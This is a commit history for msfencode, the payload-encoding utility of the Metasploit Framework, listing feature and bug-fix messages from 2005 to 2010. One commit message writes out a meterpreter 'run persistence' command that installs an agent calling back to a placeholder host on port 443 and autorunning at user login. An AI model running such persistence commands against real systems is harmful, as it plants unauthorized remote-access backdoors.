Commit Graph

43 Commits (92e9eb93f33d5546f2fb9f5edd99b006fa1ec3fc)

Author SHA1 Message Date
Joshua Drake 0e72894e58 more cleanups
git-svn-id: file:///home/svn/framework3/trunk@9212 4d416f70-5f16-0410-b530-b9f4589650da
2010-05-03 17:13:09 +00:00
HD Moore e9e8519be6 Macho support for msfencode
git-svn-id: file:///home/svn/framework3/trunk@9071 4d416f70-5f16-0410-b530-b9f4589650da
2010-04-14 17:23:35 +00:00
HD Moore 2efa31cfec Closes #1244 with a caveat. If the template injected calls ExitProcess(), the payload will be killed. This means that -k is not compatible with our default executable
git-svn-id: file:///home/svn/framework3/trunk@8896 4d416f70-5f16-0410-b530-b9f4589650da
2010-03-24 15:55:24 +00:00
HD Moore 5787769854 Indicate the method for using javascript (js_le, js_be) in the help output
git-svn-id: file:///home/svn/framework3/trunk@8846 4d416f70-5f16-0410-b530-b9f4589650da
2010-03-18 11:40:55 +00:00
Joshua Drake 44a7775d3d add support for WAR archives to msfencode, closes #774
git-svn-id: file:///home/svn/framework3/trunk@8545 4d416f70-5f16-0410-b530-b9f4589650da
2010-02-18 03:29:14 +00:00
HD Moore 1d1f94593c Add -t asp to msfencode :)
git-svn-id: file:///home/svn/framework3/trunk@8013 4d416f70-5f16-0410-b530-b9f4589650da
2009-12-28 22:41:43 +00:00
HD Moore 7e4d03be86 This adds support for the old exe format to msfencode using -t exe-small and allows encoder modules to change preferences based on the platform, which fully solves #430.
git-svn-id: file:///home/svn/framework3/trunk@7840 4d416f70-5f16-0410-b530-b9f4589650da
2009-12-13 19:03:35 +00:00
HD Moore 8309599ca3 Fixes #463. Missing a return value in exe.rb and missing a default format in msfencode
git-svn-id: file:///home/svn/framework3/trunk@7357 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-04 21:30:00 +00:00
HD Moore 21e82d8b69 This patch implements a much more flexible executable creation scheme at the cost of exe size. This also adds the "-x" option to msfencode, allowing the user to specify their own executable template for generation.
git-svn-id: file:///home/svn/framework3/trunk@7315 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-01 04:11:43 +00:00
HD Moore 0fff5e5bc8 Fix msfencode -l, thanks _sinn3r
git-svn-id: file:///home/svn/framework3/trunk@7218 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-20 21:58:08 +00:00
HD Moore 15e39e95db Fixes #386. Adds a persistent VBS payload option (keep running the payload in a loop) via the loop-vbs type in msfencode. Adds a 'persistence' script to allow easy persistent meterpeter agent deployment. "run persistence -h" for help. Sample command line:
meterpreter> run persistence -r 1.2.3.4 -p 443 -A -X -i 300

This would install a meterpreter agent that would try to connect to 1.2.3.4:443 once every 300 seconds. This would also start a multi/handler in the background (-A) and make this autorun when any user logs in (-X). In most scenarios, this works just fine:

meterpreter> run persistence -A

This uses your default IP and the default port and immediates handles the next connection, but doesnt install via the registry.



git-svn-id: file:///home/svn/framework3/trunk@7204 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-19 02:42:39 +00:00
HD Moore 529c9ec875 Remove extraneous check
git-svn-id: file:///home/svn/framework3/trunk@6977 4d416f70-5f16-0410-b530-b9f4589650da
2009-08-25 23:38:49 +00:00
HD Moore 7555e259db Fix a bug generating executables when no arch was defined
git-svn-id: file:///home/svn/framework3/trunk@6976 4d416f70-5f16-0410-b530-b9f4589650da
2009-08-25 23:23:39 +00:00
HD Moore cf10a62dcc Merge in the beginnings of x64 support from Stephen Fewer
git-svn-id: file:///home/svn/framework3/trunk@6972 4d416f70-5f16-0410-b530-b9f4589650da
2009-08-23 23:47:33 +00:00
HD Moore 76ca3e7741 Fix up EXE to VBA handling
git-svn-id: file:///home/svn/framework3/trunk@6708 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-24 03:59:54 +00:00
HD Moore a13c01ed3e Load the encoders/nops modules in msfpayload for encoding, load nops in msfencode
git-svn-id: file:///home/svn/framework3/trunk@6694 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-21 15:59:09 +00:00
HD Moore 93cd190a02 Sync up the API calls for msfpayload/msfencode, thanks Carlos
git-svn-id: file:///home/svn/framework3/trunk@6693 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-21 15:53:48 +00:00
HD Moore 2283e0ffe4 Update executable template and API
git-svn-id: file:///home/svn/framework3/trunk@6682 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-20 17:42:17 +00:00
HD Moore f78482d3f5 Indicate lack of support for ruby 1.9.0, indicate experimental support for ruby 1.9.1
git-svn-id: file:///home/svn/framework3/trunk@6661 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-14 21:30:56 +00:00
HD Moore 8c3266b484 patch to msfencode to support elf format output from Bernardo Damele A. G.
git-svn-id: file:///home/svn/framework3/trunk@6543 4d416f70-5f16-0410-b530-b9f4589650da
2009-05-11 15:23:13 +00:00
HD Moore 4007503e03 Allow -c option to msfencode to specify encode count
git-svn-id: file:///home/svn/framework3/trunk@6333 4d416f70-5f16-0410-b530-b9f4589650da
2009-03-11 04:10:42 +00:00
HD Moore beb0cc7cb3 Patch from Jonathan Steel to fix double-symlinks
git-svn-id: file:///home/svn/framework3/trunk@6203 4d416f70-5f16-0410-b530-b9f4589650da
2009-01-30 06:27:10 +00:00
kris 3be4ccf046 enable javascript and java encoding
git-svn-id: file:///home/svn/framework3/trunk@6105 4d416f70-5f16-0410-b530-b9f4589650da
2009-01-09 22:51:29 +00:00
James Lee 99b4f008c9 parse options before creating so -h is faster
git-svn-id: file:///home/svn/framework3/trunk@6060 4d416f70-5f16-0410-b530-b9f4589650da
2009-01-02 21:25:25 +00:00
HD Moore af1675bf19 This patch allows the framework to be created with only specific module types enabled, speeding up msfpayload and msfencode.
git-svn-id: file:///home/svn/framework3/trunk@6055 4d416f70-5f16-0410-b530-b9f4589650da
2009-01-02 07:29:56 +00:00
HD Moore b80f50b6cb Fixes #268. Updates the executable template and provides a bug fix for msfencode to force the encoded version
git-svn-id: file:///home/svn/framework3/trunk@6043 4d416f70-5f16-0410-b530-b9f4589650da
2008-12-24 08:41:35 +00:00
HD Moore a70e982369 Adds utlities for creating VBA scripts from an EXE (or payload)
git-svn-id: file:///home/svn/framework3/trunk@5893 4d416f70-5f16-0410-b530-b9f4589650da
2008-11-12 19:15:24 +00:00
Ramon de C Valle f124597a56 Code cleanups
git-svn-id: file:///home/svn/framework3/trunk@5773 4d416f70-5f16-0410-b530-b9f4589650da
2008-10-19 21:03:39 +00:00
HD Moore 6d5ac7eead Switches the executable template to something a little nicer and adds exe output to msfencode
git-svn-id: file:///home/svn/framework3/trunk@5689 4d416f70-5f16-0410-b530-b9f4589650da
2008-09-26 22:34:51 +00:00
HD Moore 271822da31 Merged revisions 5386-5391 via svnmerge from
svn+ssh://metasploit.com/home/svn/framework3/branches/framework-3.1

........
  r5391 | hdm | 2008-02-02 15:26:48 -0600 (Sat, 02 Feb 2008) | 3 lines
  
  Prepend a library directory to the search path, if MSF_LOCAL_LIB is set. This lets folks maintain a set of modified libraries that will be used instead of the official ones. Documentation updates as well.  
........


git-svn-id: file:///home/svn/framework3/trunk@5392 4d416f70-5f16-0410-b530-b9f4589650da
2008-02-02 21:29:46 +00:00
Matt Miller 06ac34faf1 fixes #9, added MODULEPATH var, and msfencode/msfpayload support it as well
git-svn-id: file:///home/svn/framework3/trunk@4436 4d416f70-5f16-0410-b530-b9f4589650da
2007-02-18 12:27:17 +00:00
HD Moore ea23e52706 Always use IO.read vs IO.readlines.join
git-svn-id: file:///home/svn/framework3/trunk@4212 4d416f70-5f16-0410-b530-b9f4589650da
2006-12-17 07:03:00 +00:00
HD Moore 4770e8d607 Print an error when no encoder is specified
git-svn-id: file:///home/svn/framework3/trunk@3967 4d416f70-5f16-0410-b530-b9f4589650da
2006-09-26 16:03:53 +00:00
HD Moore ce52979566 Symlink-friendly msf interfaces
git-svn-id: file:///home/svn/framework3/trunk@3795 4d416f70-5f16-0410-b530-b9f4589650da
2006-07-31 15:36:08 +00:00
Matt Miller a6726c8df7 fix for option import issue when options had spaces
git-svn-id: file:///home/svn/incoming/trunk@3571 4d416f70-5f16-0410-b530-b9f4589650da
2006-03-16 16:33:32 +00:00
HD Moore 04341837f7 Bug fix to msfencode when invalid -e is specified
Small tweaks to type77, mostly for print_status and -find
Fixed busted payload port in shell_reverse_tcp


git-svn-id: file:///home/svn/incoming/trunk@3469 4d416f70-5f16-0410-b530-b9f4589650da
2006-01-29 21:47:51 +00:00
Matt Miller 7274308eba fix msfencode -l
git-svn-id: file:///home/svn/incoming/trunk@3335 4d416f70-5f16-0410-b530-b9f4589650da
2006-01-08 01:12:00 +00:00
HD Moore 88658064df /usr/bin/ruby vs /usr/bin/env ruby
git-svn-id: file:///home/svn/incoming/trunk@3242 4d416f70-5f16-0410-b530-b9f4589650da
2005-12-17 06:46:23 +00:00
Matt Miller 9e16c98567 moved user interfaces, changed relative lib path
git-svn-id: file:///home/svn/incoming/trunk@3176 4d416f70-5f16-0410-b530-b9f4589650da
2005-12-06 03:34:58 +00:00
Matt Miller 1128c8e612 fix encode printing
git-svn-id: file:///home/svn/incoming/trunk@2962 4d416f70-5f16-0410-b530-b9f4589650da
2005-10-11 14:25:29 +00:00
Matt Miller 31471ff270 encode w/o arguments
git-svn-id: file:///home/svn/incoming/trunk@2947 4d416f70-5f16-0410-b530-b9f4589650da
2005-10-02 07:51:47 +00:00
Matt Miller cc23a249db options
git-svn-id: file:///home/svn/incoming/trunk@2936 4d416f70-5f16-0410-b530-b9f4589650da
2005-10-01 21:32:11 +00:00
Matt Miller 5f8cad5803 msfencode works
git-svn-id: file:///home/svn/incoming/trunk@2933 4d416f70-5f16-0410-b530-b9f4589650da
2005-10-01 21:25:42 +00:00